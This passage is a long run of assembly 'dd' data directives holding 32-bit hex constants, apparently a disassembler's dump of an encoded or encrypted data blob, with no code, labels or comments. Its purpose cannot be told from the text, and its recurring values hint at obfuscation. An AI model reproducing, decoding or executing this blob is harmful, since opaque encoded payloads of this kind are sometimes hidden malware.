		dd 36830DF4h, 0FC254222h, 1566223Eh, 0E5189752h, 6B18C4EDh
		dd 1512AD8Ah, 1573AD3Dh, 9B691132h, 1566883Dh, 15664EDBh
		dd 0E99B6A32h, 0C1954102h, 7D0F840Bh, 89012F6Ch, 1579A33Dh
		dd 0FD061132h, 15668826h, 18BAB8FBh, 45361599h,	0D10E8B61h
		dd 3FDEE104h, 0F334B148h, 0FD95A26Ah, 8CD3EE53h, 0E9609826h
		dd 2F54C1BFh, 1F8F2422h, 24661132h, 0E9E740C2h,	1D9CC266h
		dd 0FCB6DD73h, 15661120h, 0DC57144Bh, 0FA3A0C8Ch, 0EA0AD810h
		dd 0D8BE37EEh, 90EF6E2Bh, 1371E10Ch, 156632DBh,	0EC480232h
		dd 0D9BD06AAh, 0EFF7AC76h, 541DAECBh, 0F0E3D7B6h, 41609811h
		dd 1A96CE52h, 156627BFh, 0B004A932h, 7D07B414h,	0FB042C1Bh
		dd 156630DBh, 5F72A832h, 4F5CA650h, 20B190A3h, 0C5F27741h
		dd 0EA092934h, 5721187h, 90EBBC34h, 13761800h, 156F953Dh
		dd 0A4068832h, 0CBE722E0h, 0EA07BBD6h, 90EFE9E2h, 13712D70h
		dd 156EC93Dh, 97692232h, 15661130h, 90A0E952h, 137667D7h
		dd 0D70EDE77h, 0FCBC710Ah, 1566883Fh, 0B608A07h, 0A3B31Fh
		dd 5CD2D99Fh, 8CD37798h, 0E0605426h, 2F54A7BFh,	9B691722h
		dd 15668835h, 1567C23Dh, 0EA9E2232h, 1576F8E2h,	32E08832h
		dd 0E07E9C59h, 0DE31BADAh, 85386BFFh, 90EFB5ABh, 1371E174h
		dd 15E32D52h, 94661132h, 0BF51ACD8h, 0A8E52564h, 1376003Bh
		dd 75E31E32h, 1A668833h, 15665CBFh, 1575CB32h, 0DD261132h
		dd 5449FFC3h, 0B49DB242h, 82049F13h, 1FBC35A8h,	0F0E34EE2h
		dd 50605411h, 15ED2D52h, 73661132h, 0FC0743B9h,	1566443Ah
		dd 1D6B910Ch, 0CB5CFB18h, 35180E5Ah, 0BE54BC8h,	1A662232h
		dd 156609BAh, 15756132h, 3A2A4432h, 932A253Eh, 0DC8AEB90h
		dd 0BB187491h, 0C7B1EFDFh, 8CD3DDFCh, 0E0600126h, 2F540DBFh
		dd 75064222h, 156633DAh, 78FDCC32h, 0CE45CC57h,	72191031h
		dd 6DBC6091h, 7339AB18h, 3A2941B3h, 74A7CF53h, 1E8FF2CDh
		dd 6D661132h, 331C8D04h, 669892Ch, 90EF3C80h, 1371B478h
		dd 15776052h, 8E514432h, 8317392Dh, 6DBF2B45h, 38056711h
		dd 0FD7A5436h, 1566223Dh, 5631D113h, 5F10177Bh,	3E77590Eh
		dd 4F8AEA47h, 0E491916Bh, 0F0E34E53h, 59605411h, 966942CBh
		dd 15661130h, 90693F87h, 15664433h, 0D60E43C7h,	1A8637E2h
		dd 156689B6h, 0A099B832h, 137636ABh, 156614DBh,	5AF91032h
		dd 1A8F955Fh, 0E662232h, 8AD5E1F0h, 9EE4F502h, 48B7FED3h
		dd 90EB6EFFh, 13762B00h, 0C6D18752h, 0EA071A63h, 156CCBE2h
		dd 2C2C1132h, 0D5341FD8h, 8FADDA6Ch, 0B028A7BBh, 1F8F1725h
		dd 0F7668832h, 0AE4A1AECh, 0F7154EFCh, 145CF8FEh, 0D39F8832h
		dd 545A1B7h, 7D9F7034h,	0A92CF53Fh, 19B90952h, 1A2C2D4Bh
		dd 156627B4h, 0F677AE32h, 0EA07B0A3h, 5693D87h,	198FDE34h
		dd 0A2661132h, 0D955CEFh, 19A49B74h, 988AE87Ah,	55C23B7h
		dd 19E78734h, 1A664432h, 156624B1h, 15E81E32h, 0EA668832h
		dd 0E90624E2h, 15662FDAh, 0C8901B32h, 310B002Fh, 8E501295h
		dd 743E713Eh, 5FE39853h, 1A609F97h, 15666CBEh, 128E4232h
		dd 2661132h, 2FA686FFh,	0FC3FB04Eh, 15662226h, 0E7CEC6A3h
		dd 0BDA544Fh, 0E86479B9h, 0A00F9F4Ch, 9C064115h, 0F0E34E53h
		dd 47605411h, 15662DDBh, 2AB43F32h, 0A5E072CEh,	0B9DFC11Eh
		dd 0C6AD7F9Dh, 592C595Ah, 156D6194h, 0E6D44432h, 0AE46C10Ch
		dd 7AAA4520h, 6CD37757h, 1A60543Dh, 156632BBh, 156DF832h
		dd 0AE5D8832h, 0E0AADE5Dh, 19894426h, 27E39C75h, 75609808h
		dd 0A04DB5B3h, 188F42E7h, 0FE661132h, 0EF115EABh, 0A285A75Dh
		dd 0FF15D6FBh, 156AF853h, 48778832h, 0AA6CF7BFh, 7DA33080h
		dd 0C599404Bh, 5BE301CBh, 0FC605397h, 15662222h, 0CE43DCBEh
		dd 539F6C8Fh, 4BDAD8DCh, 0AE304090h, 368394F4h,	1A348E22h
		dd 156643BAh, 0ECEC4232h, 74BFAE3Dh, 57D2625Ah,	0A099B8CFh
		dd 137636ABh, 15661CDBh, 0B4AAAE32h, 5CDDC7Eh, 2E6CE5EFh
		dd 1D8FD87Dh, 83668832h, 0E045D73h, 9890E898h, 55C23B7h
		dd 0C5997434h, 7CE3CDC7h, 0EC60323Fh, 368394F4h, 75118E22h
		dd 3E8894B3h, 0FFE63A11h, 0B60E7035h, 0FC951F9Ah, 15664434h
		dd 0CDF48CEFh, 0A09964ABh, 1376A8D7h, 15664FDBh, 74631532h
		dd 7BF2AA90h, 0E16C4EBEh, 2F54C1BFh, 0EC9F2422h, 0FD06C1CDh
		dd 15668822h, 6E45E01Ah, 0AAC8829Ch, 55B069C4h,	0C40320D2h
		dd 4B9CFB3Dh, 90EF43CBh, 137610F7h, 0F0E34ECEh,	47605411h
		dd 940042CBh, 1AFD35E1h, 7D077A8Dh, 9FBB7525h, 156628DBh
		dd 8FD97332h, 2998348Eh, 0EA0A3543h, 572BB87h, 1B8E7134h
		dd 0E7668832h, 0E5B49DB6h, 7BD2C511h, 0B06DCCDEh, 0EED187C9h
		dd 74A7CF69h, 2F54A7BFh, 0ED931722h, 750658CDh,	0AE96CF54h
		dd 2BE8D193h, 0E6D91E53h, 0A8E30153h, 0E0605432h, 3683A7F4h
		dd 75301722h, 1AB55DB2h, 7D07928Dh, 0C1794F0Bh,	15661CDBh
		dd 2ED54432h, 4675DA44h, 1DD6C05Dh, 0A09971A5h,	13769577h
		dd 9FE3C9CBh, 756031B7h, 0AA692480h, 0C599E9CBh, 156CC83Dh
		dd 73062232h, 0A3ACC8B3h
		dd 74960354h, 3AD3C1BBh, 45062422h, 4B7FDCB2h, 8EBB60B3h
		dd 0D3077512h, 545C7B7h, 58F5634h, 0E4668832h, 0EE314CC2h
		dd 0D02EAF22h, 51550C24h, 7D3D75D3h, 94BA5448h,	8CD3DDCEh
		dd 0FC600126h, 1566883Eh, 0F392868h, 6488771Fh,	2E59B6C1h
		dd 0E6D8EE52h, 90EB25ACh, 13761800h, 15709B3Dh,	0FC068832h
		dd 1566443Dh, 0A8DBC8CDh, 0A9E4C5D4h, 7F7C82F6h, 742DAB09h
		dd 1A9FF2CDh, 156607BBh, 15776132h, 29EB4432h, 0E68AE65Ch
		dd 923B0282h, 0ECBC8517h, 9CD4AB9Eh, 57C53B7h, 1DEB1E34h
		dd 75668832h, 3EC5FB54h, 0D3077862h, 545F4B7h, 7D9ACF34h
		dd 9F69F1D0h, 156AA73Dh, 99691132h, 15668834h, 1566C23Dh
		dd 0A0992232h, 137605ABh, 1572003Dh, 1A8F4432h,	89662232h
		dd 6CA2D09Ah, 0DEEB6D07h, 96199411h, 90EBFD7Bh,	13762B00h
		dd 156685DBh, 0C0EAB732h, 703498AAh, 1EEFBD01h,	0C599B3A3h
		dd 0A2691252h, 9C077DF8h, 2C37FB7h, 19E28734h, 1A664432h
		dd 156624B0h, 15E81E32h, 75668832h, 15664DDBh, 8AC47F32h
		dd 5D653E1Bh, 75373359h, 0D2071F53h, 54157B7h, 15666934h
		dd 0AA69E832h, 93C6FEFCh, 75072533h, 8490A954h,	74A40354h
		dd 250BF9B1h, 1A662422h, 157F18B6h, 90A07032h, 137667D7h
		dd 1D8E427Eh, 0F4661132h, 91611C80h, 0A4C2B1EEh, 108F7A84h
		dd 0D6661132h, 623DAE03h, 98F2C53h, 9F06FBE8h, 74A49ACFh
		dd 1FF3DCDh, 989F4222h,	55C10B7h, 156AF834h, 1C8F8832h
		dd 0CF69A6Eh, 0D7D24971h, 0C5999B71h, 156686DBh, 0CEA27F32h
		dd 0E8FE7CC0h, 0B6A67C3Eh, 9CF05917h, 2C31EB7h,	9CD94234h
		dd 1A3D9777h, 0D3074685h, 545A1B7h, 9E066E34h, 1576F8EAh
		dd 41008832h, 2169DC02h, 60E05B15h, 482CE0F7h, 7D07040Ah
		dd 0C8129AFCh, 10E52D52h, 73661132h, 6445EB3h, 156656DBh
		dd 0F1F32932h, 32C48463h, 4AA54E75h, 131E02D9h,	74364C22h
		dd 1FFA4CDh, 68F8E22h, 0E1664432h, 6349744Ch, 0DC32B468h
		dd 7F015869h, 0FC265154h, 90EBC4DEh, 13762B00h,	0D2E7E8C7h
		dd 157F9C3Dh, 0EA079982h, 128E71E2h, 0C668832h,	6B4D009Fh
		dd 31D3F5F1h, 9969706Ch, 15668833h, 4BE3CDC7h, 0EC603597h
		dd 368394F4h, 0FC2A8E22h, 15664437h, 0B268C894h, 1561F822h
		dd 0C0CF8832h, 6BFA1421h, 97594A7Ch, 0E006A6B3h, 15669CDAh
		dd 0E6D6D732h, 5836E886h, 0D33F5342h, 0B9B3C04Fh, 0C3753779h
		dd 0C4E744CBh, 7439536Eh, 156687DBh, 0D0A5F032h, 4F72AB0Dh
		dd 6F7A3C59h, 0E0ADB7C5h, 1FFF1CDh, 73062422h, 0F3A5FEB3h
		dd 74B50354h, 2F54C1BFh, 1A062422h, 1B8FD685h, 47668832h
		dd 313CFB10h, 0CAE0D1A8h, 52734630h, 198FE976h,	0D2664432h
		dd 5C615D06h, 0E247B59h, 0EAAD2778h, 9C9EBCE2h,	2C340B7h
		dd 7E11E34h, 0FC668832h, 1566443Fh, 1C873A56h, 0EEC690F6h
		dd 0E9477609h, 90A0B8C6h, 137601D7h, 19EF1E7Eh,	1A668832h
		dd 156642BFh, 15EA2D32h, 1A661132h, 156689BEh, 0D0EBD32h
		dd 0E9D50D72h, 1FFA4CDh, 989E8E22h, 55C76B7h, 156FCB34h
		dd 8CC1132h, 0E1C8CFCDh, 0FC49124Ch, 15662238h,	0C657B79Bh
		dd 0A2C1F388h, 0C59985CFh, 15662ADBh, 0F43C7B32h, 0A9B07409h
		dd 77E3CDEAh, 75603597h, 45B59A54h, 15669CDBh, 68108C32h
		dd 1E7A8E0Ah, 0DAC821A8h, 8FC5F782h, 55B7032Ah,	75077AE7h
		dd 1563F862h, 0FC378832h, 4D40ACF1h, 0D307E9B9h, 545F4B7h
		dd 7593CE34h, 156641DBh, 65F55D32h, 58F5CDAh, 0C3668832h
		dd 29289CA3h, 581C7013h, 3007C30h, 7455598Ah, 0CB60505Ah
		dd 4A304288h, 74AC9A54h, 1FF3DCDh, 95064222h, 0AC00BDF4h
		dd 9807C7E3h, 55CBAB7h,	45DF2434h, 1A2310ABh, 156617B1h
		dd 15EF8732h, 74664432h, 1A8FF2CDh, 72661132h, 2F33D916h
		dd 5546A68Dh, 0CECEE478h, 90EF5364h, 13712D58h,	0AB9CCF52h
		dd 5A2A0FE8h, 0F0E3D753h, 52609811h, 51C2CCBh, 1A06A3EEh
		dd 156614BDh, 0CDE7EE32h, 9400FCD7h, 749CDEE1h,	1FFA4CDh
		dd 0FC068E22h, 15664438h, 317B43F4h, 0D738CDA5h, 9169F6E7h
		dd 15664430h, 98077861h, 55C23B7h, 15616134h, 10314432h
		dd 0B5C3CC73h, 75B6EE0Dh, 9C0776B9h, 2C336B7h, 90A0DE34h
		dd 137632D7h, 15606175h, 1E284432h, 9B129D8Eh, 92E8BD5Ah
		dd 1FE987DDh, 75664432h, 9E694352h, 15661132h, 8CD37753h
		dd 75605426h, 15662BDBh, 0EFD0B732h, 0F853F9EAh, 57DE1572h
		dd 747E9FCDh, 1567903Dh, 989F8832h, 55C76B7h, 156ECB34h
		dd 5B621132h, 39E46C82h, 0EA9ED8CDh, 12ED2DE2h,	75661132h
		dd 5A095A8Ch, 90EF252Eh, 13718744h, 0F0E3D7C7h,	52609811h
		dd 156657DBh, 0D7796E32h, 1AD9ACFEh, 0A6FE8C47h, 0EB63B95h
		dd 798D9FD2h, 8FC1C35Ah, 0A106E8E6h, 0E6ED2266h, 1EEC2D53h
		dd 0FD661132h, 15668837h, 2A29459Dh, 75077861h,	6D76D1B3h
		dd 9E008082h, 0A09925CBh, 137636ABh, 15679D3Dh,	989E8832h
		dd 55C76B7h, 1DEC2D34h,	1A661132h, 15668AB7h, 0FC072432h
		dd 1566223Ch, 1CC35018h, 946013D2h, 815725A0h, 0C59987EEh
		dd 0CEE1ECAh, 0FC668832h, 15664426h, 53D2B7Ch, 8BFFF21Fh
		dd 837EEB5Eh, 0CC49DB0Ah, 55996269h, 0B01C94BBh, 58F8E25h
		dd 74664432h, 0F33BA20Ah, 9CB87646h, 3F897CB7h,	0D3969775h
		dd 545C7B7h, 9E695634h,	15668835h, 1567C83Dh, 7D932232h
		dd 0AFA72836h, 1573083Dh, 58F4432h, 9A662232h, 5C2DA33Ch
		dd 39547F45h, 850DBDh, 0E0A62FE9h, 1FFA4CDh, 989E8E22h
		dd 55C76B7h, 13EB2D34h,	75661132h, 0ED96373Dh, 0EDB6BB53h
		dd 0B018A7BBh, 969E1725h, 577498Fh, 90694434h, 15662291h
		dd 1560903Dh, 0E9068832h, 74E5A6B2h, 3683A7F4h,	0FC211722h
		dd 15668820h, 59F00070h, 29EFB5D5h, 881DD9F8h, 0AB1E0625h
		dd 720E46DBh, 1A86501Fh, 156619BAh, 9C69E832h, 15664432h
		dd 8CD3DD53h, 0FC600126h, 1566883Fh, 7F103BEFh,	7579981Dh
		dd 0B85CE2BCh, 7EC8715h, 0FC664432h, 1566223Fh,	2A7A311Ch
		dd 272CCC74h, 38F942B3h, 27E3AF7Ah, 1A600108h, 156684BCh
		dd 13E84B32h, 1A662232h, 156611BCh, 1DE48732h, 1A664432h
		dd 156620BDh, 0EA077132h, 99D7E8E2h, 0EC07AFB8h, 0B0E4A7BBh
		dd 0D39E1725h, 5456DB7h, 93690334h, 1566222Ah, 1568F952h
		dd 1E028832h, 545DF0D0h, 2F10ED76h, 7482F460h, 7407E86Ch
		dd 3CD5F55Ah, 1B8E42BCh, 31661132h, 0BB3F9241h,	12D82AE4h
		dd 0E34DDE2Ch, 0AC0049EEh, 0ED0741BCh, 1FFF1CDh, 188F2422h
		dd 45661132h, 5F93EA89h, 0F405C74Bh, 823B150h, 2F5494BFh
		dd 9E698E22h, 1566442Ah, 1576CA52h, 5D131132h, 0BFC587EFh
		dd 0B5053030h, 9817627Fh, 743DCC2Dh, 108F58CDh,	0CF664432h
		dd 568FF39Ch, 0B0E094BBh, 0D39E8E25h, 545A1B7h,	18F6134h
		dd 13661132h, 7990739Fh, 67DE2549h, 90ABCE0Ch, 0EC6B9B42h
		dd 7D4AD94Fh, 0D5100E95h, 1568AA3Dh, 1C8F1132h,	61668832h
		dd 0C1077B1Fh, 3C815C55h, 1FFA4CDh, 108F8E22h, 69664432h
		dd 0F375E168h, 2F5494BFh, 98698E22h, 15664433h,	0FCB6DDCBh
		dd 1566113Dh, 19E94142h, 804893D5h, 4EA8523Bh, 9C68226Dh
		dd 2C302B7h, 1560AD34h,	2C672232h, 6763EF05h, 36830DF4h
		dd 0EC2A4222h, 730AC95Ah, 0A099E9C9h, 1376A8D7h, 156650DBh
		dd 4E992332h, 615750CCh
		dd 5719019Ah, 0BA5843ACh, 0C7331BCDh, 27E39CC6h, 0ED609808h
		dd 9C9A94CDh, 2C03CB7h,	1574F834h, 7B338832h, 70D55271h
		dd 0F0B66B78h, 2D641748h, 0B156F899h, 3683C1F4h, 75222422h
		dd 15729B3Dh, 1B8E8832h, 65664432h, 0EB52AACCh,	81A34756h
		dd 936B11B2h, 188E1DF3h, 15662232h, 30E22FE8h, 0E759A01Eh
		dd 0CD825208h, 74387B61h, 156601DBh, 18B0932h, 7CEDCE6Ch
		dd 0AAE950C9h, 5CB62C93h, 9B33E06Ch, 0EA93FF41h, 572BB87h
		dd 12EA1E34h, 1A668832h, 156645BFh, 90EBD732h, 13762B00h
		dd 156686DBh, 3BA39432h, 0D4025D69h, 0D385B5DAh, 75617165h
		dd 7531FE80h, 0EA077A53h, 1A9E71E2h, 15668AB1h,	74072432h
		dd 0B0E8A7BBh, 68F1725h, 8C668832h, 60B307B1h, 0AF6A76E0h
		dd 0B56777ECh, 4FFEFD49h, 1A065BC5h, 156626B0h,	3DE7732h
		dd 0FBE7EE05h, 0D307C20Bh, 545C7B7h, 7D9F5234h,	0A9E8E6CEh
		dd 5E04B52h, 0FD662232h, 15661138h, 0C1B47DC8h,	92448E6Ch
		dd 733E8452h, 0FEA9D1B3h, 8CD37753h, 0E0605426h, 2F54A7BFh
		dd 1A8F1722h, 0B1668832h, 1AB5157h, 0B7D544Ch, 50FB201Ah
		dd 0C5999995h, 7380CE52h, 7E86E2B3h, 9AD87153h,	0FD02471Ah
		dd 15664437h, 12465D05h, 9C0749B2h, 2C31AB7h, 1569AD34h
		dd 0EAD42232h, 0FBC17DF0h, 8B556701h, 8C82A34h,	0F0E3E469h
		dd 46600111h, 15776052h, 250B4432h, 44B12229h, 1FA7E774h
		dd 3830B427h, 4ED834ABh, 4AA4A965h, 2BCC7953h, 0EA9A4E22h
		dd 572DD87h, 19E02D34h,	1A661132h, 15668EB6h, 15EA4B32h
		dd 98662232h, 55C23B7h,	15606134h, 0A9684432h, 3B30CD62h
		dd 9969C1CDh, 1566883Ah, 0EBED2252h, 74B0A954h,	0B0F094BBh
		dd 92698E25h, 15664433h, 36D742CEh, 15E21E52h, 74668832h
		dd 0BCDBC753h, 15603200h, 164C953Dh, 75068832h,	43949DB2h
		dd 0AA00436Bh, 0D3079374h, 5456DB7h, 92690234h,	15662225h
		dd 1577923Dh, 198F8832h, 0AA664432h, 8A8783Bh, 16B55909h
		dd 7516CDBEh, 9D7FFD52h, 749E79D2h, 156603DBh, 7F203532h
		dd 0D339CC6Dh, 0C83AD499h, 0F1FF2889h, 745D8ED7h, 83A8755Ah
		dd 14E42DC8h, 0E0661132h, 1FF3DCDh, 94694222h, 1566223Ah
		dd 15649A3Dh, 74068832h, 2F54C1BFh, 1A8F2422h, 6F661132h
		dd 0B4692357h, 6679075Fh, 262F9D95h, 9169C282h,	15668822h
		dd 156CC63Dh, 108F2232h, 8C661132h, 0C88C177Fh,	950694CDh
		dd 9400F8F2h, 74798BC2h, 0B0940DBBh, 198F4225h,	60662232h
		dd 41144FFEh, 0E2D72BDEh, 0D3392F8Eh, 545C7B7h,	0FC9E5734h
		dd 15668838h, 722D6421h, 0DB3C2B8Dh, 0C30E2A2Fh, 1A9A2F08h
		dd 156648B7h, 13EA2D32h, 1A661132h, 156688B0h, 8CD3BB32h
		dd 0FC603226h, 1566113Ch, 0FCF1CF1Ch, 0AF2049EBh, 34BD8B42h
		dd 7506E705h, 652F438Dh, 1C8E2571h, 0E5662232h,	64544BD7h
		dd 9EE5A9DDh, 1566C13Dh, 74392232h, 2F5494BFh, 0AB068E22h
		dd 374D6497h, 21B0A354h, 0C599701Fh, 1567063Dh,	9C9E4432h
		dd 2C020B7h, 90A0E934h,	1376ABD7h, 150EB874h, 1AF4DE96h
		dd 156610B6h, 0EA9E7032h, 572DD87h, 156ECB34h, 67CC1132h
		dd 20E7BBFAh, 90EB03CFh, 13761800h, 156618DBh, 0A67E3E32h
		dd 46170A15h, 0C5992317h, 1AF9A252h, 9C07718Dh,	2C042B7h
		dd 14E42D34h, 0EC661132h, 36830DF4h, 75204222h,	74A9A954h
		dd 0C1297B5Ah, 156961C4h, 25384432h, 7A5C0710h,	3793DB91h
		dd 4815358Ah, 8CD3BB15h, 75603226h, 19DFBB80h, 7403D5D1h
		dd 27E3C9C7h, 75603208h, 0EA07EBB9h, 1FE187E2h,	0FC664432h
		dd 15662237h, 0B15780D3h, 1FE30168h, 0E9605394h, 3683A7F4h
		dd 1A201722h, 15668FB8h, 0A2692432h, 74B894CCh,	0D836F65Ah
		dd 0FC93E8A6h, 15664434h, 36925B97h, 0FC0711B9h, 15668837h
		dd 5E2F63B6h, 8CD3DD8Ch, 75600126h, 2BB3EF8Dh, 0C3E72275h
		dd 1A07046Ah, 156619BAh, 17E68732h, 75664432h, 27E3AF53h
		dd 0E0600108h, 1D8F58CDh, 0A1664432h, 8BC4A078h, 1AF418D5h
		dd 156689B0h, 90EFBC32h, 137187C4h, 0E7E77752h,	0D3073C20h
		dd 545A1B7h, 1C8F6434h,	12661132h, 70622896h, 0E5FC0F87h
		dd 3712195Ah, 0E4ED7183h, 0A0997153h, 137650ABh, 27E3AFCAh
		dd 1A600108h, 156689BAh, 1C8FB832h, 61662232h, 704B3BAFh
		dd 6FDD8036h, 48F94CDh,	0A5662232h, 4F3BDD50h, 34FF9488h
		dd 0A83F6F37h, 1BE651D8h, 0EFE398C7h, 1A609F97h, 156645B5h
		dd 9C69DB32h, 15661124h, 156699DBh, 46725432h, 0BD9C04ACh
		dd 0F47F5F2Dh, 0FB6C880Ah, 90A07F2Ah, 137601D7h, 0B3DC7174h
		dd 0EC1A4BB6h, 0FF8B2C53h, 0EA9FFD4Bh, 5728887h, 4F36E834h
		dd 9807AAB8h, 55C10B7h,	0C599E834h, 64A40852h, 0EBE3CD53h
		dd 0ED603597h, 4A7ACB1h, 1A668E22h, 156618B7h, 0D39ADB32h
		dd 545F4B7h, 7506DB34h,	74B5FB3Dh, 7D07C987h, 0DBD8F16Ch
		dd 15670A3Dh, 0EA934432h, 572BB87h, 188FED34h, 2B668832h
		dd 49CD3078h, 9960752h,	668773DDh, 2F540DBFh, 108F4222h
		dd 0E5662232h, 0EA4403A3h, 730658CDh, 43B9C28Bh, 9BA69D54h
		dd 90EF706Ch, 13712DA8h, 0F0E382C7h, 52603211h,	0E7ED7752h
		dd 0FF2441B3h, 7D0727A8h, 0D2D77CB5h, 156617DBh, 5FB54932h
		dd 0EA08FA45h, 572BB87h, 11EF1E34h, 75668832h, 98072552h
		dd 55C10B7h, 5E71E34h, 0FC668832h, 15664439h, 2104EA89h
		dd 0A676B0DAh, 0ED105F0Dh, 1E8F94CDh, 0A3662232h, 2017C9C8h
		dd 6C37C8DFh, 9169F1CAh, 1566223Dh, 15661BDBh, 6C85C532h
		dd 172AA7F8h, 9C799C84h, 2C38FB7h, 156B6134h, 6CD84432h
		dd 6FCFA36Dh, 0DCF136C0h, 750E5CA6h, 15664BDAh,	0BB4C0632h
		dd 2978D6D3h, 1E50CEA3h, 98EAEFF6h, 753EC4B8h, 156605DAh
		dd 102A9432h, 0A3D6549Ah, 0A482D72Eh, 3DD17DC0h, 0D7BB65B2h
		dd 98691CA0h, 15662232h, 0A8E57053h, 137699F3h,	9CE34B32h
		dd 75662232h, 0DAED4087h, 0F0E34E53h, 52605411h, 6B634ACAh
		dd 0AB06F750h, 5D89A9EAh, 15664ADBh, 14D67332h,	0FA140AF8h
		dd 1CFF3CAAh, 74D5DB9Eh, 1FF97CDh, 75061722h, 18F78B9h
		dd 1664432h, 4C741C72h,	0ADD56A84h, 24C28EF6h, 36552673h
		dd 747C5F4Ah, 74BFAE3Dh, 2F540DBFh, 58F4222h, 0E7662232h
		dd 0B0F0AE3Ch, 0CBAC8AEAh, 85ED5704h, 0EA24169Eh, 156DF8E2h
		dd 84A88832h, 0FA5D7D2h, 7EB68D3Bh, 0B7E39851h,	0E0609F97h
		dd 3683C1F4h, 1A252422h, 156607B8h, 15776132h, 49254432h
		dd 0C20191EAh, 9DCAD59Ch, 3FAE0B0h, 7DE20D54h, 871C2BC4h
		dd 0E6ECE452h, 8CD37753h, 0FC605426h, 1566223Eh, 8E75A38h
		dd 9ECF0836h, 5A455C74h, 1569CA52h, 0E10F1132h,	505F87E1h
		dd 97E06869h, 99CAAAB4h, 4BA19A6Eh, 0D1AF59B3h,	9807365Ah
		dd 55C10B7h, 0C599E434h, 0B3E301CAh, 0EC605397h, 3683A7F4h
		dd 1A251722h, 156684BBh, 13E74B32h, 1A662232h, 156611B9h
		dd 8246E032h, 9269B813h, 15662233h, 8CD3EEC7h, 1A609826h
		dd 15665EB1h, 1E72D32h,	0FC661132h, 1566883Dh, 6753304Eh
		dd 0EBD394Bh, 587E913Fh, 0E09B209Ah, 2F54C1BFh,	0FC062422h
		dd 15661139h, 4CCD5757h, 7CCC9C0Fh, 0AB313096h,	4387E6BAh
		dd 1AB67753h, 15664EBBh, 1563CB32h, 0C71B1132h,	9C921F5Eh
		dd 2C3EEB7h, 11EB2D34h,	75661132h, 96075EB9h, 577858Fh
		dd 90692234h, 15661014h
		dd 15669BDBh, 57BCE832h, 798C6E19h, 145B493Dh, 0E9B240FFh
		dd 1334118Bh, 3683A7F4h, 1A251722h, 15669AB2h, 156BAD32h
		dd 0A8E62232h, 8787E2F9h, 3054EEB3h, 7D8783F8h,	9E668A31h
		dd 156616DBh, 0A0529D32h, 0B2FE1C36h, 1FF97CDh,	73061722h
		dd 980743B9h, 55C76B7h,	34D84234h, 7342D09Ah, 745E1688h
		dd 9C6994CDh, 1566223Eh, 1560933Dh, 99698832h, 15664432h
		dd 0B0D4A7BBh, 0D3931725h, 5456DB7h, 78F0734h, 5662232h
		dd 0D4F387DDh, 0E0D0631Dh, 87F1674h, 8D98221Eh,	23B379AFh
		dd 95696D69h, 1566443Ch, 15662BDBh, 0DA2E6632h,	2A6A2F18h
		dd 0EA9E6E44h, 572BB87h, 156FF834h, 0E6A48832h,	5541217Ch
		dd 980A36F9h, 55C23B7h,	0EA9A7034h, 0F5E724E2h,	3380FB9Bh
		dd 0FC07FEB8h, 15668839h, 894918BAh, 0F4627E1Dh, 9C88810Fh
		dd 2C326B7h, 90692434h,	15662226h, 15661EDBh, 6AE68232h
		dd 137211C1h, 616B6546h, 411813F6h, 156698DBh, 6709A732h
		dd 0ABFAB2E9h, 25252197h, 53BFA823h, 90A025FCh,	137601D7h
		dd 0F40EE471h, 758C2200h, 8F87C560h, 4F01A506h,	156617DAh
		dd 1BA71A32h, 0FC30103Eh, 15662234h, 3687A30Eh,	743F9D14h
		dd 1FFF1CDh, 1F8F2422h,	0BB661132h, 2F38CC78h, 76D26ED8h
		dd 27E3AF52h, 0E9600108h, 156F6152h, 39D94432h,	0BA06A418h
		dd 73595E33h, 0DB7362B3h, 75B6BB53h, 775A118Bh,	0A4D87762h
		dd 90EFE9DAh, 1371E184h, 90A0DBCAh, 137632D7h, 0CEB8771h
		dd 0FC664432h, 15662226h, 997BA8C6h, 681040EDh,	1E7AE80Ah
		dd 0DAC812A8h, 8FC56E82h, 0E4CABF5Ah, 10EB4BB6h, 75662232h
		dd 74A5AE3Dh, 1FF3DCDh,	98934222h, 55C10B7h, 0C599ED34h
		dd 0AFE301CBh, 1A605397h, 156626B2h, 0CDED7132h, 0F0E34E53h
		dd 5A605411h, 0DAD12D52h, 1564973Dh, 4B368832h,	0C10EBC53h
		dd 0FCF117A2h, 1566113Ch, 98820912h, 0E310A7E6h, 37EE6E83h
		dd 9469FAFFh, 15668833h, 8CD3BBC7h, 75603226h, 15E01E52h
		dd 1A668832h, 156644BAh, 0FC064332h, 1566113Ah,	417664E1h
		dd 767F34F8h, 0C8B4638Ch, 0ED07703Fh, 2F540DBFh, 0EA934222h
		dd 14EB2DE2h, 0ED661132h, 0B0D80DBBh, 99694225h, 15662233h
		dd 0FC0671CBh, 15668821h, 0E24EF0EBh, 3C69616Fh, 30B3E2CDh
		dd 0E314E821h, 73BAFD67h, 742E198Ah, 15669A3Dh,	0D3078832h
		dd 545A1B7h, 98696D34h,	1566112Ah, 15669BDBh, 9E6CF332h
		dd 14C197DBh, 652EF325h, 4B4D6C45h, 0D9E22A5h, 7B68205Ah
		dd 0A099E8CBh, 13769CABh, 1572CE3Dh, 0FC062232h, 1566113Fh
		dd 0F7D36AA0h, 45EEFE1Ch, 5F934089h, 90EB704Bh,	1376B200h
		dd 0EDB6BBCBh, 15662CDBh, 9E486432h, 0CD9F669Fh, 59C78814h
		dd 9C7689AAh, 2C3D3B7h,	57D0E834h, 0FAA9C552h, 755255ECh
		dd 0D3077053h, 5456DB7h, 94060934h, 0B28BDBFCh,	94004250h
		dd 4E7B34E0h, 6C2F2C53h, 9569EA05h, 15661135h, 1567053Dh
		dd 0EA934432h, 572BB87h, 90EBE934h, 1376B200h, 4AD82252h
		dd 0E6E7448Ch, 0EA07FDD3h, 90EF7DE2h, 1371E1F8h, 0F0E3E4CAh
		dd 58600111h, 15668FDBh, 0E3961B32h, 0C6F7D149h, 0E22B985Ah
		dd 1BE187EEh, 0FC664432h, 1566223Bh, 84ADFA00h,	45E75C49h
		dd 12EC4B08h, 75662232h, 0CCE64A61h, 0A099E93Fh, 137650ABh
		dd 1567AF3Dh, 98931132h, 55CBAB7h, 0FC362434h, 1566223Eh
		dd 52C96758h, 52F2FAACh, 50270EDFh, 15ED2D6Bh, 74661132h
		dd 976958CDh, 1566442Bh, 156636DBh, 0DB47F132h,	0B0FB5948h
		dd 2ECD55AFh, 585BCEFCh, 0C353B149h, 0D3E30189h, 0E0605397h
		dd 3683A7F4h, 0EC331722h, 0E4BBF5Ah, 14E04BAEh,	0E0662232h
		dd 1FFA4CDh, 1F8F8E22h,	26664432h, 40E24CCEh, 5DC0AF4Dh
		dd 27E305E6h, 0E0605408h, 9C9EF2CDh, 2C3DFB7h, 1C8FE834h
